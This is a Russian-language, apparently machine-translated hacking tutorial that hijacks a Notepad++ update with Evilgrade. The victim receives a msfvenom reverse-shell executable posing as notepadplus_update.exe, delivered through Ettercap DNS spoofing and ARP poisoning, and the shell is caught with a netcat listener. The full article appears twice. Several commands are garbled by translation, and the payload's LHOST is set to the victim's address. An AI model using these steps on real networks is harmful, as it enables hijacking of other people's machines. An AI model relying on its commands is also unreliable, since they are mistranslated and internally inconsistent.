Добро пожаловать обратно, мои начинающие кибервоины!
В этом руководстве мы рассмотрим, что произойдёт, если это обновление или обновление будет перехвачено злоумышленником. Все наши системы периодически загружают обновления, полагая, что они исходят от разработчика программного обеспечения. Что, если это не так? Что, если эти обновления/улучшения были получены из вредоносного источника, например, после взлома SolarWinds в 2021 году?
Помимо взлома SolarWinds, одна из самых известных кибератак на сегодняшний день использовала эту уязвимость наших систем. Печально известный червь Stuxnet использовал подпись драйверов Realtek и Jmicro для установки обновлений непосредственно в ядро без ведома пользователя. Поскольку эти подписи были легитимными, система принимала их без вопросов. Оба эти примера демонстрируют уязвимость метода цифровой подписи обновлений даже в самых благоприятных условиях.
В этом руководстве мы будем использовать программу Evilgrade для перехвата и обновления различных программ. Обратите внимание, что isr-evilgrade в своей текущей версии ограничен небольшим количеством обновлений и улучшений.
И последнее: это взлом средней или продвинутой сложности. Он требует значительных знаний системы, хакерских навыков и терпения. Мы будем использовать несколько хакерских инструментов одновременно, включая netcat, Metasploit, Ettercap и evilgrade.
Шаг №1: Откройте Терминал и запустите evilgrade.
isr-evilgrade был встроен в некоторые ранние версии Kali, но НЕ входит в некоторые из последних. Если ваша версия не включает evilgrade, он есть в репозитории Kali, поэтому вы можете скачать и установить его, введя:
kali > apt-get isr-evilgrade install
После завершения загрузки и установки просто введите ;
кали > злой сорт
Как видите, evilgrade начинает работу с загрузки всех своих 63 модулей. Каждый модуль представляет собой приложение, обновления которого evilgrade может перехватить. Чтобы увидеть все модули, введите:
kali > показать модули
В этом уроке мы перехватим обновление Notepad++, поэтому нам нужно настроить evilgrade для использования этого модуля.
evilgrade > настроить notepadplus
После загрузки этого модуля давайте рассмотрим его параметры.
кали > показать параметры
Обратите внимание на строку VirtualHost. Мы будем использовать её в настройках DNS для перехвата обновления.
Шаг №2: Создание полезной нагрузки в Metasploit
В этом случае мы просто создадим полезную нагрузку (в терминологии Metasploit это вредоносная программа, которую мы размещаем на компьютере жертвы, чтобы получить контроль), чтобы установить её вместо обновления. Если вы не знакомы с Metasploit, ознакомьтесь с моей серией статей «Основы Metasploit» на Hackers-Arise.
Эта команда помещает эту полезную нагрузку в исполняемый файл Windows с именем notepadplus_update.exe. Сначала нужно создать каталог для хранения файла. Откройте терминал и введите:
kali > mkdir /root/evilgrade
Затем введите:
kali > msfvenom windows/shell_reverse_tcp LHOST 192.168.1.118 LPORT=6996 X > /root/evigrade/notepadplus_update.exe
Дополнительную информацию о создании пользовательских полезных нагрузок с помощью msfvenom можно найти в моей статье Основы Metasploit, часть 9: msfvenom для пользовательских полезных нагрузок .
Теперь, когда мы создали полезную нагрузку, нам нужно сообщить evilgrade, где она находится, и использовать ее в качестве агента в этом обновлении.
evilgrade(notepadplus) > установить агент /root/evilgrade/notepadplus_update.exe
Далее запускаем сервер
evilgrade (notepadplus) > запуск
Шаг №3: Загрузите и установите Notepad+
Теперь давайте скачаем и установим Notepad++. Его можно найти здесь .
После завершения загрузки и установки откроется экран, подобный показанному ниже.
Шаг №4: Настройка MiTM
Теперь, когда мы полностью настроили Evilgrade, нам нужно настроить атаку MiTM.
Для этого мы будем использовать Ettercap. Если вам нужна помощь с Ettercap, вернитесь к этому руководству и ознакомьтесь с ним .
Мы будем использовать Ettercap для перенаправления DNS-запросов. Первым делом откройте файл etter.dns в Ettercap в текстовом редакторе по вашему выбору, но я буду использовать Leafpad. Вы можете использовать любой текстовый редактор, подходящий вам.
Кали > листовая панель /etc/ettercap/etter.dns
В этот текстовый документ добавьте следующую строку. Помните, это адрес VirtualHost, который evilgrade выдал нам ранее.
notepad-plus.sourceforge.net A 192.168.1.106
Теперь запустим Ettercap в графическом режиме.
kali > ettercap -G
Чтобы начать работу с Ettercap, нажмите «Sniff» -> «Unified Sniffing».
Следующий шаг — активировать плагин dns_spoof в Ettercap. Нажмите «Плагины» -> «Управление плагинами» -> «dns_spoof».
Затем выполните сканирование хостов. Нажмите «Хосты» -> «Сканировать хосты» .
Когда Ettercap завершит сканирование хостов, выберите «Хосты» -> «Список хостов» . Откроется окно, как показано ниже. У вас может быть больше или меньше хостов с разными IP-адресами.
Теперь встанем между маршрутизатором (192.168.1.103), выбрав его как Цель 1, и жертвой (192.168.1.118), выбрав его как Цель 2. Ваши IP-адреса могут быть другими.
Далее нам нужно применить отравление ARP, чтобы оказаться в центре. Щёлкните Mitm -> ARP-отравление.
Выберите « Прослушивание удаленных подключений ».
Далее нажмите «Пуск» -> «Начать анализ».
Шаг №5: Настройка прослушивателя Netcat
Теперь, когда мы находимся между жертвой и маршрутизатором, весь её трафик будет проходить через нашу систему. Следующий шаг — настроить прослушиватель Netcat на атакующей системе. Это откроет прослушиватель на определённом порту для приёма соединений с машины жертвы. Помните, что созданная нами полезная нагрузка использовала наш IP-адрес и порт 6996. Прослушиватель должен использовать тот же номер порта.
kali >nc -l -p 6996
Теперь, когда пользователь откроет Notepad++, он увидит приглашение, подобное приведенному ниже, с вопросом, хочет ли он загрузить обновления.
Когда пользователь нажмёт «Да», обновление будет выполнено с нашего сервера , а наш агент будет помещен в Notepad++ вместо обновления. Созданная нами полезная нагрузка затем подключится к нашему прослушивателю Netcat, открывая оболочку в системе жертвы!
Хотя эта атака доступна только разработчикам программного обеспечения, не использующим цифровые сертификаты для аутентификации, она должна пролить свет на ещё один способ взлома системы. Как я уже упоминал выше, именно эта атака использовалась государствами с использованием украденных сертификатов и коллизий хешей легитимных цифровых сертификатов.
В этом руководстве мы рассмотрим, что произойдёт, если это обновление или обновление будет перехвачено злоумышленником. Все наши системы периодически загружают обновления, полагая, что они исходят от разработчика программного обеспечения. Что, если это не так? Что, если эти обновления/улучшения были получены из вредоносного источника, например, после взлома SolarWinds в 2021 году?
Помимо взлома SolarWinds, одна из самых известных кибератак на сегодняшний день использовала эту уязвимость наших систем. Печально известный червь Stuxnet использовал подпись драйверов Realtek и Jmicro для установки обновлений непосредственно в ядро без ведома пользователя. Поскольку эти подписи были легитимными, система принимала их без вопросов. Оба эти примера демонстрируют уязвимость метода цифровой подписи обновлений даже в самых благоприятных условиях.
В этом руководстве мы будем использовать программу Evilgrade для перехвата и обновления различных программ. Обратите внимание, что isr-evilgrade в своей текущей версии ограничен небольшим количеством обновлений и улучшений.
И последнее: это взлом средней или продвинутой сложности. Он требует значительных знаний системы, хакерских навыков и терпения. Мы будем использовать несколько хакерских инструментов одновременно, включая netcat, Metasploit, Ettercap и evilgrade.
Шаг №1: Откройте Терминал и запустите evilgrade.
isr-evilgrade был встроен в некоторые ранние версии Kali, но НЕ входит в некоторые из последних. Если ваша версия не включает evilgrade, он есть в репозитории Kali, поэтому вы можете скачать и установить его, введя:
kali > apt-get isr-evilgrade install
После завершения загрузки и установки просто введите ;
кали > злой сорт
Как видите, evilgrade начинает работу с загрузки всех своих 63 модулей. Каждый модуль представляет собой приложение, обновления которого evilgrade может перехватить. Чтобы увидеть все модули, введите:
kali > показать модули
В этом уроке мы перехватим обновление Notepad++, поэтому нам нужно настроить evilgrade для использования этого модуля.
evilgrade > настроить notepadplus
После загрузки этого модуля давайте рассмотрим его параметры.
кали > показать параметры
Обратите внимание на строку VirtualHost. Мы будем использовать её в настройках DNS для перехвата обновления.
Шаг №2: Создание полезной нагрузки в Metasploit
В этом случае мы просто создадим полезную нагрузку (в терминологии Metasploit это вредоносная программа, которую мы размещаем на компьютере жертвы, чтобы получить контроль), чтобы установить её вместо обновления. Если вы не знакомы с Metasploit, ознакомьтесь с моей серией статей «Основы Metasploit» на Hackers-Arise.
Эта команда помещает эту полезную нагрузку в исполняемый файл Windows с именем notepadplus_update.exe. Сначала нужно создать каталог для хранения файла. Откройте терминал и введите:
kali > mkdir /root/evilgrade
Затем введите:
kali > msfvenom windows/shell_reverse_tcp LHOST 192.168.1.118 LPORT=6996 X > /root/evigrade/notepadplus_update.exe
Дополнительную информацию о создании пользовательских полезных нагрузок с помощью msfvenom можно найти в моей статье Основы Metasploit, часть 9: msfvenom для пользовательских полезных нагрузок .
Теперь, когда мы создали полезную нагрузку, нам нужно сообщить evilgrade, где она находится, и использовать ее в качестве агента в этом обновлении.
evilgrade(notepadplus) > установить агент /root/evilgrade/notepadplus_update.exe
Далее запускаем сервер
evilgrade (notepadplus) > запуск
Шаг №3: Загрузите и установите Notepad+
Теперь давайте скачаем и установим Notepad++. Его можно найти здесь .
После завершения загрузки и установки откроется экран, подобный показанному ниже.
Шаг №4: Настройка MiTM
Теперь, когда мы полностью настроили Evilgrade, нам нужно настроить атаку MiTM.
Для этого мы будем использовать Ettercap. Если вам нужна помощь с Ettercap, вернитесь к этому руководству и ознакомьтесь с ним .
Мы будем использовать Ettercap для перенаправления DNS-запросов. Первым делом откройте файл etter.dns в Ettercap в текстовом редакторе по вашему выбору, но я буду использовать Leafpad. Вы можете использовать любой текстовый редактор, подходящий вам.
Кали > листовая панель /etc/ettercap/etter.dns
В этот текстовый документ добавьте следующую строку. Помните, это адрес VirtualHost, который evilgrade выдал нам ранее.
notepad-plus.sourceforge.net A 192.168.1.106
Теперь запустим Ettercap в графическом режиме.
kali > ettercap -G
Чтобы начать работу с Ettercap, нажмите «Sniff» -> «Unified Sniffing».
Следующий шаг — активировать плагин dns_spoof в Ettercap. Нажмите «Плагины» -> «Управление плагинами» -> «dns_spoof».
Затем выполните сканирование хостов. Нажмите «Хосты» -> «Сканировать хосты» .
Когда Ettercap завершит сканирование хостов, выберите «Хосты» -> «Список хостов» . Откроется окно, как показано ниже. У вас может быть больше или меньше хостов с разными IP-адресами.
Теперь встанем между маршрутизатором (192.168.1.103), выбрав его как Цель 1, и жертвой (192.168.1.118), выбрав его как Цель 2. Ваши IP-адреса могут быть другими.
Далее нам нужно применить отравление ARP, чтобы оказаться в центре. Щёлкните Mitm -> ARP-отравление.
Выберите « Прослушивание удаленных подключений ».
Далее нажмите «Пуск» -> «Начать анализ».
Шаг №5: Настройка прослушивателя Netcat
Теперь, когда мы находимся между жертвой и маршрутизатором, весь её трафик будет проходить через нашу систему. Следующий шаг — настроить прослушиватель Netcat на атакующей системе. Это откроет прослушиватель на определённом порту для приёма соединений с машины жертвы. Помните, что созданная нами полезная нагрузка использовала наш IP-адрес и порт 6996. Прослушиватель должен использовать тот же номер порта.
kali >nc -l -p 6996
Теперь, когда пользователь откроет Notepad++, он увидит приглашение, подобное приведенному ниже, с вопросом, хочет ли он загрузить обновления.
Когда пользователь нажмёт «Да», обновление будет выполнено с нашего сервера , а наш агент будет помещен в Notepad++ вместо обновления. Созданная нами полезная нагрузка затем подключится к нашему прослушивателю Netcat, открывая оболочку в системе жертвы!
Хотя эта атака доступна только разработчикам программного обеспечения, не использующим цифровые сертификаты для аутентификации, она должна пролить свет на ещё один способ взлома системы. Как я уже упоминал выше, именно эта атака использовалась государствами с использованием украденных сертификатов и коллизий хешей легитимных цифровых сертификатов.